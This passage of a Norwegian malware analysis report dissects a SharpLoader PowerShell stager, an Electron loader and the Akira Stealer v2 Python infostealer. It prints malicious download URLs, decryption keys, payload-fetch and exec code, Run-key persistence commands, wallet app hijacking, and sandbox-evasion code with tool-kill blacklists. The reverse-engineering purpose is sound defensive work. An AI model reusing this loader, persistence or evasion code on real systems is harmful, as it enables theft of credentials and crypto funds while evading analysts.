4.5 Kommandolinjeparametere og fleksibilitet

PowerShell-funksjonen Invoke-SharpLoader er laget for å fungere som en fleksibel wrapper for vilkårlige .NET-payloads. Den støtter dynamisk inndata for både payload-plassering og argumenter, slik at én og samme loader-instans kan gjenbrukes på tvers av flere operasjoner eller kampanjer.

Støttede parametere:

• -location (obligatorisk): Angir enten en URL eller en lokal filsti til den krypterte stage two-payloaden.
• -password (obligatorisk): Brukes til å utlede AES-dekrypteringsnøkkelen.
• -argument, -argument2, -argument3 (valgfrie): Disse sendes direkte videre til Main()-metoden i .NET-assemblyen via reflection.
• -noArgs: Utløser kjøring uten at noen parametere sendes til payloaden i andre trinn.

Internt samles argumentene inn og sendes videre slik:

object[] cmd = args.Skip(2).ToArray();
a.EntryPoint.Invoke(null, new object[] { cmd });

Det betyr at .NET-payloaden forventes å ha en signatur som:

static void Main(string[] args)

ellers faller den pent tilbake til den parameterløse Main()-varianten via fallback-logikken. Denne atferden lar red teams eller malware-utviklere lage allsidige andretrinn som kan utføre ulike operasjoner avhengig av inndataene, for eksempel å starte en implant, samle inn systeminformasjon eller sette i gang C2-kommunikasjon.

Slik modularitet og konfigurerbarhet er sentrale egenskaper ved avanserte malware-rammeverk, og de illustrerer hvordan skriptbaserte loadere kan opptre som svært tilpasningsdyktige kjøringsmiljøer for payloads nedstrøms.

4.6 Eksempel på bruk i praksis

For å vise hvordan SharpLoader kjøres i en virkelig kampanje, se på følgende kall som er observert i det fri:

Invoke-SharpLoader -location "https://cosmoplwnets.xyz/.well-known/pki-validation/calc.enc" -password UwUFufu1 -noArgs

Eksempelet illustrerer det typiske bruksmønsteret for SharpLoader:

• Location-argument: URL-en peker på en ekstern server som hoster calc.enc, en skjult payload for andre trinn. Endepunktet ligger under en legitimt utseende .well-known-katalog, som ofte brukes til HTTPS-sertifikatvalidering, og det hjelper URL-en å gli inn i legitim webtrafikk.
• Payload-egenskaper: calc.enc er en trippelobfuskert fil, Base64-kodet, GZip-komprimert og AES-kryptert. Denne obfuskeringspipelinen gjør payloaden ugjennomtrengelig for de fleste deteksjonsmekanismer med mindre den kjøres og dekrypteres fullt ut i minnet.
• Password-argument: Strengen UwUFufu1 brukes ved kjøring til å utlede AES-nøkkelen via SHA-256 og PBKDF2. Uten dette passordet kan payloaden ikke dekrypteres, noe som gjør offline-analyse uten kontekst nesten umulig.
• Ingen ekstra argumenter: Flagget -noArgs angir at ingen kommandolinjeparametere sendes til den dekrypterte .NET-assemblyen, noe som utløser standard kjøringsvei.

Denne stillegående kallkjeden fanger kjerneformålet til SharpLoader: filløs, tilpasningsdyktig og sikker payload-leveranse gjennom enkel PowerShell-syntaks med maksimal obfuskering og unnvikelse.

4.7 Oppsummering

Konstruksjonen Invoke-SharpLoader er et eksempel på en svært raffinert og unnvikende teknikk for malware-staging som utnytter innebygde systemkomponenter, reflection og kryptografi for å operere nesten utelukkende i minnet.

Hovedpunkter:

• Omgåelse av AMSI: Direkte in-memory-patching av AmsiScanBuffer slår av antivirusinspeksjonen uten å kalle API-er som kan oppdages.
• Sikker payload-håndtering: Henting av krypterte og komprimerte stage two-payloads sikrer konfidensialitet og legger til flere lag med unnvikelse.
• Kjøring bare i minnet: Dekrypterte payloads skrives aldri til disk, noe som gjør deteksjon med tradisjonelle filbaserte skannere nesten umulig.
• Modulær og gjenbrukbar arkitektur: Gjennom PowerShell-parametere kan SharpLoader gjenbrukes fleksibelt på tvers av kampanjer med ulike payloads og ulik atferd ved kjøring.

5. Deep Dive: main.exe - Electron-basert malware loader

Under reverse engineering ble det klart at main.exe, som Microsoft Defender for Endpoint hadde flagget, ikke var en konvensjonell binary, men en Electron-basert malware loader. Den ble levert inne i et arkiv ved navn app-64.7z, som Updater.exe lastet ned og pakket ut ved kjøring. Etter utpakking lignet strukturen og innholdet sterkt på en helt vanlig Electron-applikasjon.

5.1 Å kjenne igjen Electron-strukturen

Den utpakkede mappen inneholdt filer som:

• chrome_100_percent.pak, v8_context_snapshot.bin, d3dcompiler_47.dll
• LICENSES.chromium og LICENSES.electron
• En stor main.exe-binary (~150 MB)
• En resources-mappe med app.asar og en sekundær binary elevate.exe

Alt dette er sterke indikasjoner på en Electron-app, som bruker Chromium og Node.js til å pakke JavaScript-baserte skrivebordsapplikasjoner. At elevate.exe var til stede, en signert Microsoft-binary som ofte brukes til å eskalere rettigheter, vakte ytterligere mistanke: den kan misbrukes til å starte underprosesser med forhøyede rettigheter.

5.2 Utpakking og statisk analyse (Deep Dive)

I stedet for å kjøre main.exe valgte jeg statisk analyse for å unngå å utløse atferd i sanntid. Mistanken min om at main.exe var bygget med Electron, ble bekreftet da jeg fant app.asar-filen inne i resources-katalogen. I Electron-apper inneholder dette arkivet all sentral applikasjonslogikk, som JavaScript-filer, konfigurasjon (package.json) og ressurser, pakket i et eget format av ytelses- og obfuskeringshensyn.

.asar-arkivet er i praksis en skrivebeskyttet, ytelsesoptimalisert container som ligner .zip, men er tilpasset Electrons runtime. Det er ikke kryptert, men det obfuskerer tilgangen til koden og gjør statisk analyse vanskeligere så lenge det ikke pakkes ut.

For å pakke det ut brukte jeg det offisielle asar-verktøyet fra npm. Stegene var:

npm install -g asar
asar extract app.asar extracted_app

Kommandoene over pakket innholdet ut til en arbeidsmappe (extracted_app/), som avdekket den faktiske JavaScript-applikasjonskoden. Den besto av:

• jscryter.js, input.js, obf.js: Disse skriptene utgjør malware-logikken. jscryter.js ser ut til å orkestrere payload-leveransen, input.js definerer konfigurasjonskonstanter eller kommandologikk, og obf.js er et kraftig obfuskert skript som sannsynligvis inneholder kjernelogikken i payloaden.
• package.json, package-lock.json: Definerer runtime-miljøet
• node_modules/: Inneholder alle avhengigheter som axios, adm-zip, child_process

Det utpakkede innholdet ga full innsikt i logikken til malwaren uten at den måtte kjøres, noe som var avgjørende for trygg reverse engineering. Dette steget bekreftet at main.exe utelukkende var en runtime-wrapper for de skadelige skriptene som lå skjult inne i app.asar.

5.3. Hva den statiske analysen avdekket

Ved å inspisere koden manuelt bekreftet jeg at malware-logikken var helt JavaScript-basert og kjørte innenfor Electron-runtimen. Skriptene var laget for å:

• Laste ned en kryptert payload (pyth.zip) fra fallback-URL-er
• Pakke ut arkivet med adm-zip
• Gjøre strengerstatning for å injisere bestemte credentials eller lommebokadresser
• Starte den resulterende Python-filen (astor.py) via child_process.exec() og python.exe

Vel så viktig: loaderen inneholdt også logikk for å kopiere Updater.exe til brukerens AppData-katalog dersom den ikke allerede lå der, noe som forsterket persistensen og holdt infeksjonsløkken i gang.

6. Deep Dive: input.js - den krypterte JavaScript-payload-loaderen

input.js er en sentral komponent i malware-kjeden vi analyserte, og fungerer som nav for dekryptering og kjøring av en kryptert JavaScript-payload. Skriptet skjuler kjernefunksjonaliteten sin bak et sterkt krypteringslag og viser først atferden sin under kjøring.

6.1 Krypterings- og dekrypteringsmekanikk

Ved første øyekast inneholder input.js svært lite lesbar kode. Hovedformålet er likevel å dekryptere og kjøre en stor obfuskert JavaScript-blob som ligger lagret inne i skriptet selv.

6.1.1 Dekrypteringslogikk

Skriptet definerer en decrypt()-funksjon som tar fire parametere:

• encdata: De krypterte Base64-kodede dataene
• masterkey: En passphrase i klartekst
• salt: Et kryptografisk salt (Base64)
• iv: Initialiseringsvektoren for AES-dekryptering (Base64)

Dekrypteringen er implementert med den innebygde crypto-modulen i Node.js. Den går slik:

1. Key Derivation: Skriptet utleder en 256-bits symmetrisk nøkkel med PBKDF2 (Password-Based Key Derivation Function 2):

   const key = crypto.pbkdf2Sync(
     masterkey,
     Buffer.from(salt, "base64"),
     100000,
     32,
     "sha512",
   );
   

   • Hash function: SHA-512
   • Iterations: 100,000
   • Key length: 32 bytes (256 bits)
   • Salt: Oppgis som Base64-dekodet inndata
2. AES-256-CBC Decryption: Den utledede nøkkelen brukes deretter til å opprette et AES-decipher-objekt:

   const decipher = crypto.createDecipheriv(
     "aes-256-cbc",
     key,
     Buffer.from(iv, "base64"),
   );
   

   
   Den krypterte payloaden dekrypteres med standard CBC-modus (Cipher Block Chaining):

   let decrypted = decipher.update(encdata, "base64", "utf8");
   decrypted += decipher.final("utf8");
   

3. Dynamic Execution: Den dekrypterte JavaScript-koden skrives aldri til disk. I stedet kjøres den dynamisk i minnet via Function-konstruktøren:

   new Function("require", decrypted)(require);
   

   
   Teknikken muliggjør filløs kjøring og reduserer sjansen for å bli oppdaget av tradisjonelle antivirusmotorer som bygger på diskbasert skanning.

Denne tilnærmingen viser et lagdelt forsvar mot reverse engineering ved å kombinere key derivation, sterk kryptering og dynamisk kjøring i minnet.

Key Material and Encrypted Data

Skriptet inneholder følgende hardkodede inndata:

• Encrypted Data: En enorm Base64-kodet blob
• Master Key: 9uNXNGt8/7kN7ZiEvy1OdYNpbcnzkERs
• Salt: maXtklzMEZRY9dbul/XPSw== (Base64-kodet)
• IV: HwK6sOz7FBbL+YsrOxtYUg== (Base64-kodet)

Alt dette ligger innebygd direkte i kildekoden til input.js.

6.2 Payload-atferd etter dekryptering

Når den er dekryptert, blir den innebygde payloaden et fullverdig JavaScript-program som utfører følgende skadelige handlinger:

6.2.1 Klargjøring av miljøet

Den dekrypterte payloaden starter med å sette opp kjøringsmiljøet sitt ved hjelp av innebygde Node.js-moduler. Denne oppsettsfasen sørger for at alle nødvendige stier og arbeidskataloger er tydelig definert før noe skadelig skjer.

• Temporary Directory Resolution: Malwaren kaller os.tmpdir() for å finne stien til systemets midlertidige katalog. Det er en vanlig taktikk for malware, siden midlertidige mapper som regel er skrivbare og granskes mindre nøye av endpoint protection-systemer.

  const tempDir = os.tmpdir();
  

• Path Construction: Skriptet setter deretter sammen absolutte stier til to viktige filer:
  • pyth.zip: Arkivet som inneholder selve second stage-stealeren i Python
  • bnd.exe: En valgfri kjørbar fil som kan fungere som persistence-backdoor eller ekstra payload

  const tempFile = path.join(tempDir, "pyth.zip");
  const binderFile = path.join(tempDir, "bnd.exe");
  

Dette stioppsettet abstraherer bort OS-spesifikk stisyntaks og gjør at malwaren kan kjøre problemfritt på alle Windows-systemer. Det legger også grunnlaget for mekanismene for nedlasting og utpakking av filer som følger.

6.2.2 Nedlasting av payload med fallback-strategi

Den andre store fasen i den dekrypterte JavaScript-payloaden handler om å laste ned et skadelig ZIP-arkiv fra eksterne kilder. Mekanismen er utformet med en fallback-strategi i flere nivåer som øker robustheten og tilgjengeligheten.

• Primary Link Resolution via Rentry.co Skriptet starter med å slå opp en dynamisk URL fra en tjeneste for tekstlim. Det sender en GET-forespørsel til:

  const url = "https://rentry.co/7vzd22fg36hfdd33/raw";
  

  
  Dette returnerer en URL-streng i klartekst som peker på den faktiske plasseringen av pyth.zip-arkivet. Å bruke en slik omdirigeringsmekanisme er en vanlig obfuskeringsteknikk. Den abstraherer bort den virkelige skadelige URL-en og gjør statisk deteksjon vanskeligere.
• Download Execution Den oppslåtte URL-en forespørres deretter med Axios-biblioteket og en response stream:

  const fileResponse = await axios.get(fileUrl, { responseType: "stream" });
  

  
  Filen skrives til disk som pyth.zip i systemets temp-katalog:

  const writer = fs.createWriteStream(tempFile);
  fileResponse.data.pipe(writer);
  

  
  Nedlastingen pakkes inn i et Promise for å sikre at den er ferdig før videre logikk kjøres.
• Fallback URLs Feiler Rentry-lenken, prøver skriptet hardkodede reserveplasseringer:

  https://cosmicdust.zip/.well-known/pki-validation/pyth.zip
  https://cosmoplanets.net/well-known/pki-validation/pyth.zip
  

  
  Disse domenene er bygget opp for å se ut som deler av vanlige TLS-valideringsmapper, muligens for å etterligne Let's Encrypt eller stier for domenevalidering og dermed vekke mindre mistanke. Hvert fallback forsøkes med samme streaming- og filskrivingslogikk.
• Robustness and Obfuscation Denne fallback-mekanismen gir malwaren flere veier til å hente payloaden for andre trinn. Bruken av en dynamisk peker (rentry.co) og flere failover-speil gjør malwaren mer motstandsdyktig mot takedowns, blokkering og DNS-sinkholes.

Denne fasen viser at malware-utviklerne har planlagt driften nøye, med lagdelt redundans og godt kamuflert leveranseinfrastruktur.

• Laster ned pyth.zip fra den oppslåtte URL-en
• Feiler det, forsøker den reservespeil:
  • https://cosmicdust.zip/.well-known/pki-validation/pyth.zip
  • https://cosmoplanets.net/well-known/pki-validation/pyth.zip

6.2.3 Utpakking og manipulering av payloaden

Når pyth.zip-arkivet er lastet ned og lagret på disk, går malwaren videre med å pakke ut innholdet og klargjøre det for kjøring. Det skjer med Node.js-biblioteket adm-zip, som gir programmatisk håndtering av ZIP-filer.

• ZIP Extraction:

  const zip = new AdmZip(tempFile);
  zip.extractAllTo(tempDir, true);
  

  
  Dette pakker ut alt innholdet i arkivet til systemets midlertidige katalog. Flagget true sørger for at eksisterende filer overskrives.
• Archive Contents: Arkivet pyth.zip inneholder et fullt pakket Python-prosjekt, blant annet:
  • En katalogstruktur som ligner en legitim Python-pakke
  • Flere Python-moduler og avhengigheter
  • Nøkkelfilen astor.py som ligger i Crypto/Util/astor.py, og som er hovedpayloaden til stealeren
• Placeholder Replacement: Malwaren gjør dynamisk substitusjon av forhåndsdefinerte plassholdere i astor.py for å injisere konfigurasjonsdata angriperen kontrollerer, som:
  • En Discord webhook-URL
  • Kryptovaluta-lommebokadresser (BTC, ETH, DOGE, LTC, XMR med flere)
  • En brukeridentifikator (%USERID%)
  • Et feilstatusflagg (%ERRORSTATUS%)

  fs.readFile(extractedDir + "\Crypto\Util\astor.py", 'utf8', (err, data) => {
    let updatedFile = data
      .replace("%DISCORD%", <webhook>)
      .replace("%ADDRESSBTC%", <btc_address>)
      ...
      .replace("%ERRORSTATUS%", displayError ? "true" : "false");
  
    fs.writeFile(extractedDir + "\Crypto\Util\astor.py", updatedFile, 'utf8');
  });
  

Denne dynamiske manipuleringsfasen er avgjørende. Ved å utsette innsettingen av angriperkontrollerte verdier til kjøretidspunktet unngår payloaden statisk deteksjon, og operatøren kan tilpasse mål og eksfiltreringsendepunkter uten å pakke arkivet om.

• Erstatter plassholderstrenger i astor.py:
  • Discord webhook: %DISCORD%
  • Lommebokadresser: %ADDRESSBTC%, %ADDRESSETH% osv.
  • Bruker-ID og feilflagg

6.2.4 Kjøring av malwaren

• Når plassholderinjeksjonen i astor.py er ferdig, starter malwaren kjøringen av stealeren via et systemkall

  exec("python.exe Crypto\\Util\\astor.py");
  

Kommandoen kjøres med child_process.exec-funksjonen i Node.js og starter den innebygde Python-payloaden i en egen prosess. Nettopp dette kjøringsmønsteret, python.exe med argumentet Crypto\Util\astor.py, ble observert i telemetridata samlet inn av Microsoft Defender for Endpoint, og det gjør det til en pålitelig deteksjonsartefakt. I praksis ser kjøringskjeden slik ut:

Hele kjøringskjeden til malwaren, slik den ble observert i telemetri fra Microsoft Defender for Endpoint, følger denne sekvensen:

• main.exe (Electron-basert container) kaller node.exe
• node.exe starter cmd.exe
• cmd.exe starter python.exe
• python.exe kjører filen Crypto\Util\astor.py

6.2.5 Forsterkning av persistence

For å sikre langvarig tilstedeværelse på det infiserte systemet inneholder den dekrypterte JavaScript-payloaden logikk for å gjenopprette persistence ved å kopiere den opprinnelige binaryen (Updater.exe) til en skjult plassering i brukerprofilen.

Target Directory

Filen kopieres til en katalog som etterligner legitime Windows-komponenter:

%APPDATA%\Microsoft\Internet Explorer\UserData\Updater.exe

Plasseringen er valgt med omhu:

• %APPDATA% er skrivbar for vanlige brukere og krever ingen administratorrettigheter.
• Katalognavnet etterligner legitime Microsoft-applikasjonsmapper, noe som gjør det mindre mistenkelig.

Copy Mechanism:

Kopieringen bruker fs.copyFileSync()-funksjonen i Node.js:

fs.copyFileSync(
  process.env.PORTABLE_EXECUTABLE_FILE,
  path.join(
    process.env.APPDATA,
    "Microsoft",
    "Internet Explorer",
    "UserData",
    "Updater.exe",
  ),
);

• PORTABLE_EXECUTABLE_FILE er en miljøvariabel mange packere (for eksempel Electron) setter automatisk for å referere til stien til binaryen som kjører.
• path.join(...) bygger en fullt kvalifisert målsti på tvers av ulike operativsystemer.

Logikken kjører bare hvis filen ikke allerede finnes, og fungerer dermed som en selvreparasjonsmekanisme som gjenoppretter dropperen hvis den slettes.

Role in the Malware Chain At denne kopierte Updater.exe er til stede, sikrer at:

• Loaderen kan utløse seg selv på nytt ved omstart av systemet.
• Hele infeksjonskjeden (som fører til main.exe, node.exe og til slutt astor.py) kan starte på nytt uten å være avhengig av tradisjonelle registerbaserte persistence-mekanismer, som oftere blir overvåket.

6.2.6 Valgfri kjøring av binder

I tillegg til å laste ned og kjøre hovedpayloaden til stealeren (astor.py) inneholder den dekrypterte JavaScript-koden også logikk for valgfritt å laste ned og starte en sekundær kjørbar fil som kalles "binder". Komponenten kan brukes til persistence, distraksjon eller utrulling av flere malware-moduler.

Conditional Execution

Binder-logikken aktiveres bare hvis et bestemt flagg er satt:

enableBinder = true;

I samplet vi analyserte, var verdien satt til false som standard, men logikken ligger fortsatt innebygd i payloaden og kan trivielt aktiveres i en annen kampanje eller variant.

Binder Download Logic

Blir den aktivert, forsøker skriptet å hente en ekstern binary fra en URL definert av plassholderen %BINDERURL%:

const fileUrl = "%BINDERURL%";
const fileResponse = await axios.get(fileUrl, { responseType: "stream" });
const writer = fs.createWriteStream(binderFile);
fileResponse.data.pipe(writer);

• Filen bnd.exe lagres i systemets midlertidige katalog.
• Akkurat som pyth.zip lastes binaryen ned med Axios som strøm, for å unngå å laste hele binaryen inn i minnet.

Execution Strategy

Etter en vellykket nedlasting kaller skriptet den nedlastede binaryen via cmd.exe, slik at den kjører i en ny shell-kontekst:

exec(`start cmd /c start ${binderFile}`, ...);

For å øke påliteligheten har skriptet retry-logikk:

setTimeout(() => {
  exec(...);
}, 5000);

Dermed forsøker malwaren å starte binaryen på nytt etter en kort pause, selv om den første kjøringen feiler, for eksempel på grunn av systembelastning eller race conditions.

Use Cases for the Binder

Selv om det eksakte formålet med binder-binaryen ikke kommer fram i dette samplet (på grunn av plassholder-URL-en), brukes slike komponenter vanligvis til å:

• Installere eller starte hovedkomponentene i malwaren på nytt
• Vise falske installasjonsprogrammer eller lokkemiddelapplikasjoner
• Rulle ut mer spyware, backdoors eller ransomware
• Endre systeminnstillinger eller slå av sikkerhetsfunksjoner

6.3 Oppsummering

input.js er en sterkt obfuskert, kryptert JavaScript-loader som bruker bransjestandard kryptografi (PBKDF2 + AES-256-CBC) for å skjule sitt egentlige formål. Etter dekryptering fungerer den som en fullverdig second stage-loader som:

• Henter mer malware (pyth.zip)
• Endrer atferden til payloaden dynamisk
• Starter selve stealer-skriptet (astor.py)
• Forsterker persistence ved å gjenopprette Updater.exe

Kombinasjonen av kryptering, dynamisk kjøring, modulær henting av payload og filløs drift viser en svært avansert JavaScript-basert malware-arkitektur som utnytter Node.js-funksjoner i et Electron-skall.

7. DeepDive: Akira Stealer v2 (astor.py)

7.1. Overordnet funksjonalitet

Akira Stealer v2 (astor.py) er en multifunksjonell, modulær infostealer skrevet i Python. Den er bygget for å eksfiltrere et bredt spekter av sensitive brukerdata fra både Chromium- og Firefox-baserte nettlesere, crypto wallets, kommunikasjonsklienter (for eksempel Discord, Telegram) og systemfiler. Den har avanserte anti-analysemekanismer, registerbasert persistence, clipboard hijacking og teknikker for memory injection.

7.2 Persistence og utrulling

7.2.1 Kontekst for kjøringskjeden

astor.py kjører ikke frittstående, men er den siste payloaden i en flertrinns angrepskjede:

Updater.exe
  └── main.exe (Electron app)
        └── cmd.exe
              └── python.exe astor.py

Denne strukturerte kjøringskjeden gjør at hvert trinn kan unngå deteksjon ved å delegere den skadelige funksjonaliteten videre til neste. Updater.exe innleder sekvensen og har ansvaret for å opprettholde persistence.

7.2.2 Registerbasert persistence

Akira etablerer persistence ved å skrive en registernøkkel under Run-stien til den innloggede brukeren. Det sikrer at Updater.exe kjøres ved hver systemstart:

command = f'reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v "Realtek Audio" /t REG_SZ /d "{path}\\Updater.exe" /f'
os.system(command)

• Path: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
• Value name: Realtek Audio (valgt for å virke harmløs)
• Payload path: Vanligvis i AppData\Roaming\Microsoft\Internet Explorer\UserData\\Updater.exe

Kommandoen skriver autorun-oppføringen stille via PowerShell eller et nativt os.system()-kall.

7.2.3 Skjuling av filen

For å skjule binaryen ytterligere fra brukere og enkle AV-skanninger merkes filen med attributtene hidden og system:

subprocess.run(["attrib", "+h", "+s", destination_path])

• +h: Merker filen som skjult
• +s: Merker filen som en beskyttet systemfil

I praksis fjerner det filen fra vanlige visninger i Windows Utforsker og øker stealth.

7.2.4 Reinfeksjonsteknikker

Malwaren støtter selvreplikering og reinfeksjon gjennom Electron application hijacking. Konkret erstatter den arkivet app.asar i Electron-baserte desktop-wallets (for eksempel Exodus, Atomic Wallet) for å kjøre skadelig JavaScript ved legitim appstart.

Logikken ser etter kjente stier til wallet-apper:

path = os.getenv("APPDATA") + "\\Exodus\\resources\\app.asar"

Finnes målfilen, overskrives den med et våpengjort arkiv. Det sikrer persistence selv etter at Updater.exe er fjernet manuelt.

7.3 Anti-analyse / unnvikelse (klasse: VmProtect)

7.3.1 Innledning

I moderne malware-kampanjer er det avgjørende å unngå analyse i virtualiserte miljøer og sandbox-miljøer for å beholde stealth. Akira Stealer v2 implementerer en omfattende modul for VM- og sandbox-deteksjon (VmProtect) som aggressivt identifiserer analytikerkontrollerte miljøer og avbryter kjøringen der. Denne rapporten dissekerer hver enkelt deteksjonsteknikk, gjengir de eksakte kodeutdragene inkludert komplette blacklist-definisjoner, og beskriver analysemetodikken vi brukte.

7.3.2 Oversikt

Klassen VmProtect implementerer robust deteksjon av VM og sandbox for å avbryte kjøringen tidlig i analysemiljøer. Den støtter to deteksjonsnivåer:

• Level 1: Lette, raske sjekker
• Level 2: Grundige, omfattende sonderinger

Hvis VmProtect.isVM(level) returnerer True, kaller malwaren sys.exit() og hindrer videre analyse.

7.3.3 Deteksjonsnivåer

7.3.4 VmProtect-arkitektur

Klassen VmProtect eksponerer følgende hovedmetoder:

• checkUUID()
• checkComputerName()
• checkUsers()
• checkHosting()
• checkHTTPSimulation()
• checkRegistry()
• killTasks()
• isVM(level)

Hver metode returnerer en boolsk verdi eller utfører unnvikelsessteg. Wrapperen isVM samler disse sjekkene ut fra nivået som er angitt.

@staticmethod
def isVM(level: int) -> bool:
    # Always start background task-killer
    Thread(target=VmProtect.killTasks, daemon=True).start()
    if level == 1:
        # Fast path: HTTPS, hostname & user
        return (
            VmProtect.checkHTTPSimulation()
            or VmProtect.checkComputerName()
            or VmProtect.checkUsers()
        )
    if level == 2:
        # Deep scan: includes UUID, hosting, registry & GPU
        try:
            return (
                VmProtect.checkHTTPSimulation()
                or VmProtect.checkUUID()
                or VmProtect.checkComputerName()
                or VmProtect.checkUsers()
                or VmProtect.checkHosting()
                or VmProtect.checkRegistry()
            )
        except:
            return False
    return False

7.3.5 UUID-sjekk - identifisering av virtuelle maskiner via hardware-UUID

En vanlig taktikk i malware-unnvikelse er å ta fingeravtrykk av det underliggende maskinvaremiljøet. En av de tidligste identifikatorene som kan avsløre en virtuell maskin, er systemets UUID (Universally Unique Identifier). Virtualiseringsplattformer som VMware og VirtualBox genererer ofte forutsigbare eller gjenbrukte UUID-er, som malware kan bruke til å slutte seg til om den kjører i et virtualisert miljø eller en sandbox.

@staticmethod
def checkUUID() -> bool:
    try:
        raw = subprocess.run(
            "wmic csproduct get uuid", shell=True,
            capture_output=True
        ).stdout.splitlines()[2].decode().strip()
    except:
        raw = ""
    return raw in VmProtect.BLACKLISTED_UUIDS

Denne sjekken bruker verktøyet Windows Management Instrumentation Command-line (WMIC) til å hente UUID-en til vertsmaskinen. Verdien som kommer tilbake, sammenlignes deretter med en kuratert liste over UUID-er som ofte knyttes til maler for virtuelle maskiner eller kjente analyseoppsett.

7.3.6 Sjekk av datamaskinnavn - deteksjon av sandbox- og analysemiljøer via hostname

Systemets hostname, tilgjengelig via miljøvariabelen %COMPUTERNAME%, avslører ofte spor av miljøet det står i. Analytikere bruker gjerne standardnavn eller raskt genererte hostnavn som "DESKTOP-XXXXXXX", "WIN10ANALYSIS" eller til og med navn knyttet til sine egne interne miljøer. Malware utnytter det ved å sammenligne systemets hostname mot en blacklist.

@staticmethod
def checkComputerName() -> bool:
    name = os.getenv("computername", "").lower()
    return name in VmProtect.BLACKLISTED_COMPUTERNAMES

BLACKLISTED_COMPUTERNAMES = (
    '00900bc83802','bee7370c-8c0c-4','desktop-nakffmt',
    'desktop-vkeons4','ntt-eff-2w11wss',
    # ... dozens more entries ...
)

Ved treff kan malwaren velge å avbryte kjøringen eller rulle ut en falsk payload, og slik unngå en fullstendig atferdsanalyse.

7.3.7 Sjekk av brukerkonto - profilering av analytiker- og standardkontoer

En annen heuristikk går på å vurdere brukernavnet malwaren kjører under. Mange maler for virtuelle maskiner og sandboxer gjenbruker vanlige brukernavn som "Abby", "Test" eller "wdagutilityaccount". Navnene har lav entropi og er ofte hardkodet i sandbox-miljøer med åpen kildekode.

@staticmethod
def checkUsers() -> bool:
    user = os.getlogin().lower()
    return user in VmProtect.BLACKLISTED_USERS

BLACKLISTED_USERS = (
    'wdagutilityaccount','abby','peter wilson','hmarc',
    'a.monaldo','tvm',
    # ... 30+ more entries ...
)

Denne sjekken forbedrer deteksjonen ved å se på brukerkonteksten, som kan forbli uendret selv gjennom omstarter eller snapshots av virtuelle maskiner.

7.3.8 Hosting-sjekk - deteksjon av offentlig skyinfrastruktur

En del malware bruker eksterne IP-etterretningstjenester til å verifisere om det infiserte systemet står i et kjent datasenter eller hos en kjent skyleverandør. Her gjøres en enkel HTTP-forespørsel til ip-api.com, som spør om IP-adressen er flagget som "hosting".

@staticmethod
def checkHosting() -> bool:
    http = PoolManager(cert_reqs="CERT_NONE")
    try:
        return http.request(
            'GET',
            'http://ip-api.com/line/?fields=hosting'
        ).data.decode().strip() == 'true'
    except:
        return False

Slik kan malwaren avgjøre om den kjører på infrastruktur som eies av Microsoft Azure, AWS, DigitalOcean og liknende, et faresignal om sandboxing.

7.3.9 HTTPS-simuleringssjekk - sondering etter SSL-interception

For å identifisere miljøer med SSL-inspeksjon (vanlig i bedrifts- og forskningsnettverk) sender malwaren en harmløs HTTPS-forespørsel til et tilfeldig subdomene under .in. Feiler forbindelsen, på grunn av DNS-filtrering, interception-proxyer eller mislykket certificate pinning, kan det være et signal om at malwaren blir analysert.

@staticmethod
def checkHTTPSimulation() -> bool:
    http = PoolManager(cert_reqs="CERT_NONE", timeout=1.0)
    try:
        http.request('GET', f'https://blank-{Utils.GetRandomString()}.in')
    except:
        return False
    return True

Denne subtile metoden tester integriteten i nettverksveien uten å utløse alarmer eller kreve egen infrastruktur.

7.3.10 Register- og GPU-driversjekk - deteksjon av virtuelle GPU-signaturer

Noen virtuelle miljøer avsløres av registernøkler eller deskriptorer for GPU-drivere. Akira bruker en dobbel strategi: den spør registeroppføringer knyttet til grafikkundersystemet, og undersøker separat utdataene fra wmic etter mistenkelige GPU-strenger.

@staticmethod
def checkRegistry() -> bool:
    r1 = subprocess.run(
        "REG QUERY HKLM\\...\\0000\\DriverDesc 2",
        capture_output=True, shell=True)
    r2 = subprocess.run(
        "REG QUERY HKLM\\...\\0000\\ProviderName 2",
        capture_output=True, shell=True)

    # GPU name check
    gpu_out = subprocess.run(
        "wmic path win32_VideoController get name",
        capture_output=True, shell=True).stdout.decode().splitlines()
    gpucheck = any(x in gpu_out[2].lower()
                   for x in ("virtualbox", "vmware"))
    return (r1.returncode != 1 and r2.returncode != 1) or gpucheck

Disse sjekkene på maskinvarenivå er særlig effektive mot analyseoppsett som ikke maskerer virtualiserte skjermkort fullt ut.

7.3.11 Task-killing - undertrykking av analyseverktøy i sanntid

I stedet for bare å unngå deteksjon passivt går Akira ett skritt videre og avslutter kjente analyse- og feilsøkingsverktøy aktivt. Den starter en bakgrunnstråd som itererer over en liste med prosesser og dreper hvert treff den finner.

@staticmethod
def killTasks() -> None:
    Utils.TaskKill(*VmProtect.BLACKLISTED_TASKS)

BLACKLISTED_TASKS = (
  'wireshark','fiddler','ida64','x32dbg','vmtoolsd',
  # ... dozens more ...
  'glasswire','requestly'
)

Disse verktøyene, som ofte brukes av incident responders og malware-analytikere, nøytraliseres før de får samlet inn meningsfulle atferdsartefakter.

Summary

Akira bruker et gjennomarbeidet sett med anti-analyseteknikker som retter seg mot flere systemlag, fra miljøvariabler og registernøkler til nettverkssonderinger og tasklister. Mekanismene er laget for å oppdage og unngå både automatiserte sandboxer og manuelle inspeksjonsoppsett.

Kombinasjonen av passiv fingeravtrykking og aktiv undertrykking, som task killing, viser hvordan selv malware-familier i mellomsjiktet nå har unnvikelseslogikk i flere lag.

7.3.12 Komplette blacklists og deteksjonsfunksjoner

Blacklisted Hardware UUIDs

BLACKLISTED_UUIDS = (
    '7AB5C494-39F5-4941-9163-47F54D6D5016',
    '032E02B4-0499-05C3-0806-3C0700080009',
    '03DE0294-0480-05DE-1A06-350700080009',
    '11111111-2222-3333-4444-555555555555',
    '6F3CA5EC-BEC9-4A4D-8274-11168F640058',
    'ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548',
    '4C4C4544-0050-3710-8058-CAC04F59344A',
    '00000000-0000-0000-0000-AC1F6BD04972',
    '00000000-0000-0000-0000-000000000000',
    '5BD24D56-789F-8468-7CDC-CAA7222CC121',
    '49434D53-0200-9065-2500-65902500E439',
    '49434D53-0200-9036-2500-36902500F022',
    '777D84B3-88D1-451C-93E4-D235177420A7',
    '49434D53-0200-9036-2500-369025000C65',
    'B1112042-52E8-E25B-3655-6A4F54155DBF',
    '00000000-0000-0000-0000-AC1F6BD048FE',
    'EB16924B-FB6D-4FA1-8666-17B91F62FB37',
    'A15A930C-8251-9645-AF63-E45AD728C20C',
    '67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3',
